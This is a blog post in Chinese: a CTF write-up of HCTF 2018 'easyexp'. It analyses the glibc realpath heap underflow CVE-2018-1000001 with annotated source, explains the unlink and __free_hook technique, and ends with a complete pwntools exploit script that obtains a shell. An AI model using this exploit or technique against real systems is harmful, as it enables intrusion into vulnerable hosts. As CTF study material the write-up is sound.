Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

CVE–2018-1000001 & hctf 2018 easyexp

做题的时候有考虑过CVE,但当时没去查……

CVE–2018-1000001

该题思路来源于glibc的CVE–2018-1000001,是一个glibc的缓冲区溢出漏洞,分析后发现能在堆上进行溢出。

以下分析stdlib/canonicalize.c中的__realpath()函数(__canonicalize_file_name仅仅调用__realpath(),没有其它操作)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
/* Return the canonical absolute name of a given file.
Copyright (C) 1996-2016 Free Software Foundation, Inc.
This file is part of the GNU C Library.

The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.

The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */

#include <assert.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <errno.h>
#include <stddef.h>

#include <eloop-threshold.h>
#include <shlib-compat.h>

/* Return the canonical absolute name of file NAME. A canonical name
does not contain any `.', `..' components nor any repeated path
separators ('/') or symlinks. All path components must exist. If
RESOLVED is null, the result is malloc'd; otherwise, if the
canonical name is PATH_MAX chars or more, returns null with `errno'
set to ENAMETOOLONG; if the name fits in fewer than PATH_MAX chars,
returns the name in RESOLVED. If the name cannot be resolved and
RESOLVED is non-NULL, it contains the path of the first component
that cannot be resolved. If the path can be resolved, RESOLVED
holds the same value as the value returned. */

char *
__realpath (const char *name, char *resolved) //name是传入的字符串
{
char *rpath, *dest, *extra_buf = NULL;
const char *start, *end, *rpath_limit;
long int path_max;
int num_links = 0;

// ...
// 此部分是常规的一些检查,不影响理解代码逻辑
// ...

// 设置path_max参数
#ifdef PATH_MAX
path_max = PATH_MAX;
#else
path_max = pathconf (name, _PC_PATH_MAX);
if (path_max <= 0)
path_max = 1024;
#endif

if (resolved == NULL) // __canonicalize_file_name默认传参NULL
{
rpath = malloc (path_max); // 申请保存解析后的路径的chunk,发生溢出的即为该chunk
if (rpath == NULL)
return NULL;
}
else
rpath = resolved;
rpath_limit = rpath + path_max;

if (name[0] != '/')
{
if (!__getcwd (rpath, path_max)) // getcwd返回rpath的地址
{
rpath[0] = '\0';
goto error;
}
dest = __rawmemchr (rpath, '\0'); // dest记录rpath中字符串的结尾
}
else
{
rpath[0] = '/';
dest = rpath + 1;
}

for (start = end = name; *start; start = end)
{
struct stat64 st;
int n;

/* Skip sequence of multiple path-separators. */
while (*start == '/') // 如果以/开头,向后移动
++start;

/* Find end of path component. */
for (end = start; *end && *end != '/'; ++end)
/* Nothing. */;

if (end - start == 0)
break;
else if (end - start == 1 && start[0] == '.')
/* nothing */;
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
// dest初始值为rpath中字符串(getcwd返回值)的结尾
// 如果遇到..,向前搜索/字符,初始情况下:dest = rpath + len > rpath + 1。所以在第一个..时会在while中出现前向溢出
if (dest > rpath + 1)
while ((--dest)[-1] != '/');
}
else
{
size_t new_size;

if (dest[-1] != '/')
*dest++ = '/';
// 在触发漏洞前,dest已经向前溢出,加上len后不会超过rpath_limit
if (dest + (end - start) >= rpath_limit) // rpath_limit = rpath + path_max
{
// ...
}
// dest为前溢地址,start为路径../../x处的x的地址,即从路径中拷贝第三个片段到dest中
// void *mempcpy(void *dest, const void *src, size_t len)
dest = __mempcpy (dest, start, end - start);
*dest = '\0';

// __lxstat64可以用来检查rpath指向的文件是否存在,rpath即为(unreachable)/xxxxx
if (__lxstat64 (_STAT_VER, rpath, &st) < 0)
goto error;

if (S_ISLNK (st.st_mode))
{
char *buf = __alloca (path_max);
size_t len;

if (++num_links > __eloop_threshold ())
{
__set_errno (ELOOP);
goto error;
}

n = __readlink (rpath, buf, path_max - 1);
if (n < 0)
goto error;
buf[n] = '\0';

if (!extra_buf)
extra_buf = __alloca (path_max);

len = strlen (end);
if ((long int) (n + len) >= path_max)
{
__set_errno (ENAMETOOLONG);
goto error;
}

/* Careful here, end may be a pointer into extra_buf... */
memmove (&extra_buf[n], end, len + 1);
name = end = memcpy (extra_buf, buf, n);

if (buf[0] == '/')
dest = rpath + 1; /* It's an absolute symlink */
else
/* Back up to previous component, ignore if at root already: */
if (dest > rpath + 1)
while ((--dest)[-1] != '/');
}
else if (!S_ISDIR (st.st_mode) && *end != '\0')
{
__set_errno (ENOTDIR);
goto error;
}
}
}
if (dest > rpath + 1 && dest[-1] == '/')
--dest;
*dest = '\0';

assert (resolved == NULL || resolved == rpath);
return rpath;

error:
assert (resolved == NULL || resolved == rpath);
if (resolved == NULL)
free (rpath);
return NULL;
}
versioned_symbol (libc, __realpath, realpath, GLIBC_2_3);

char *
__canonicalize_file_name (const char *name)
{
return __realpath (name, NULL);
}
weak_alias (__canonicalize_file_name, canonicalize_file_name)

从源代码中可以发现,如果getcwd返回的地址不以/开头的话,就会产生堆的上溢的问题,同时能够向这个上溢的地址写入数据。

easyexp

本题的原理即__canonicalize_file_name。在本题中,由于程序变更工作目录后,并没有更新当前目录的根目录,因此getcwd() 会在返回的路径前加上(unreachable),即getcwd()在本题中返回(unreachable)/tmp。随后为了保证程序正常运行,需要通过__lxstat64()的检查,所以需要保证(unreachable)/tmp存在,故将用户名设置为(unreachable)并在该文件夹下创建名为tmp的文件。

由于存在堆上的前溢且程序构造了堆的使用,因此可以修改chunk的pre_inuse,利用unlink获得shell。

程序创建文件的过程

在程序中定义了如下数据结构:

1
2
3
4
5
struct FILE_CACHE {
char *content;
int content_length;
char filename[84];
}

在bss上存在一个FILE_CACHE[3]数组用于保存相关信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if ( filename )
{
if ( strstr(filename, "..") || *filename == '/' )
{
puts("you can't go out of tmpfs");
}
else
{
for ( i = 0; i <= 2; ++i )
{
if ( !strcmp(filename, (const char *)(0x60LL * i + 0x60318C)) )
{
printf("write something:");
InputString((__int64)FILE_CACHE[12 * i], (unsigned int)FILE_CACHE[12 * i + 1]);
g_idx = (i + 1) % 3;
return __readfsqword(0x28u) ^ v8;
}
}
if ( FILE_CACHE[12 * g_idx] )
{
s = fopen((const char *)(0x60LL * g_idx + 0x60318C), "w");
fwrite(FILE_CACHE[12 * g_idx], 1uLL, LODWORD(FILE_CACHE[12 * g_idx + 1]), s);
fclose(s);
free((void *)FILE_CACHE[12 * g_idx]);
}
strcpy((char *)(0x60LL * g_idx + 0x60318C), filename);
fd = open(filename, 131521, 420LL);
if ( fd < 0 )
{
puts("mkfile:create failed.");
exit(-1);
}
printf("write something:");
InputString((__int64)&buf, 0x1000u);
write(fd, &buf, 0x1000uLL);
v2 = g_idx;
FILE_CACHE[12 * v2] = strdup(&buf);
v3 = g_idx;
LODWORD(FILE_CACHE[12 * v3 + 1]) = strlen(&buf);
close(fd);
g_idx = (g_idx + 1) % 3;
}
}

以上程序位于创建文件的函数中,当用户创建文件时,会现在“缓存”中查找,如果文件名相同或“缓存”未满,则会在“缓存”上保存一份数据,如已满则重置一个“缓存”。这里的结构可以在unlink中进行利用。

程序创建文件夹的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for ( i = 0; ; i = *(_DWORD *)v3 + 1 )
{
*(_QWORD *)&v3[4] = strchr(&a1[i], '/');
if ( *(_QWORD *)&v3[4] )
*(_DWORD *)v3 = *(_DWORD *)&v3[4] - (_DWORD)a1;
else
*(_QWORD *)v3 = (unsigned int)strlen(a1);
snprintf(&path, 0x1000uLL, "%s/%.*s", cur_work_dir, *(unsigned int *)v3, a1);
mkdir(&path, 0x1EDu);
if ( !a1[*(signed int *)v3] )
break;
}
ptr = canonicalize_file_name(a1);
if ( !ptr )
{
puts("mkdir:create failed.");
exit(-1);
}
free(ptr);

当程序调用mkdir()函数后,会将用户输入的路径传入canonicalize_file_name()进行验证是否创建成功,此处即为触发漏洞的位置。

利用思路

当“缓存”满后,将会重用最后使用的“缓存”的下一个“缓存”。首先将三个“缓存”都填满,第二个缓存内容均为’/‘,利用CVE漏洞改写第三个“缓存”指向的内容的chunk的size域,将size改小(防止和top chunk合并)并布置合适的fake chunk。

随后进行unlink攻击,通过改写“缓存”结构体中的内容指针来泄漏地址和修改__free_hook

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# coding=utf-8
from pwn import *


def Mkfile(p, filename, content):
p.sendlineafter('$', 'mkfile ' + filename)
p.sendlineafter('write something:', content)


def Mkdir(p, path):
p.sendlineafter('$', 'mkdir ' + path)


def pwn():
BIN_PATH = './easyexp'
DEBUG = 1
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH, env={'LD_PRELOAD': './libc.so.6'})
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
libc = ELF('./libc.so.6')

p.sendlineafter('input your home\'s name: ', '(unreachable)')

Mkfile(p, 'hack', 'hack by sunichi')
Mkfile(p, '(unreachable)/tmp', '/' * 0x107)
Mkfile(p, 'aa', 'a' * (0x90 + 0x20))

Mkdir(p, '../../s\x90')
Mkdir(p, '../../\x00')

payload = 'a' * 0x88 + p64(0x31)
Mkfile(p, 'aa', payload)

payload = 'a' * 0x100 + p64(0x100)
Mkfile(p, '(unreachable)/tmp', payload)

payload = p64(0) + p64(0x101) + p64(0x6031e0 - 0x18) + p64(0x6031e0 - 0x10)
Mkfile(p, '(unreachable)/tmp', payload)

Mkfile(p, 'bb', 'bb')

payload = p64(0) * 3 + p64(0x6031e0) + p64(0x726e752800000100) + p64(0x656c626168636165) + p64(0x000000706d742f29) + p64(0) * 8 + p64(elf.got['free']) + p64(0x0000626200000008)
Mkfile(p, '(unreachable)/tmp', payload)

p.sendlineafter('$', 'cat bb')
p.recvuntil('\x20')
recv = p.recvuntil('\x0a\x1b', drop=True)
libc.address = u64(recv + '\x00\x00') - libc.symbols['free']
print hex(libc.address)

payload = p64(libc.symbols['__free_hook']) + p64(0x726e752800000100) + p64(0x656c626168636165) + p64(0x000000706d742f29) + p64(0) * 8 + p64(next(libc.search('/bin/sh\x00'))) + p64(0x0000626200000008)
Mkfile(p, '(unreachable)/tmp', payload)

payload = p64(libc.symbols['system'])
Mkfile(p, '(unreachable)/tmp', payload)

p.sendlineafter('$', 'mkfile getshell')

p.interactive()
p.close()


if __name__ == '__main__':
pwn()